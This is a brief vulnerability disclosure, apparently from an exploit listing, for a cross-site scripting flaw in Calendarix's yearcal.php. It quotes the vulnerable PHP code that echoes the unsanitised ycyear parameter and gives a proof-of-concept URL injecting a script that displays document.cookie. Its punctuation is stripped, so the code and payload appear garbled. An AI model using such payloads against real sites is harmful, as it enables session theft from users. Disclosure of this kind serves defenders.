Calendarix "yearcal.php" XSS Attacking

Website : http://www.calendarix.com Vulnerable : if !isset$GET'ycyear' $ycyear = $y ; else $ycyear = $GET'ycyear'; http://www.site.com/path/yearcal.php?ycyear=scriptalertdocument.cookie/script...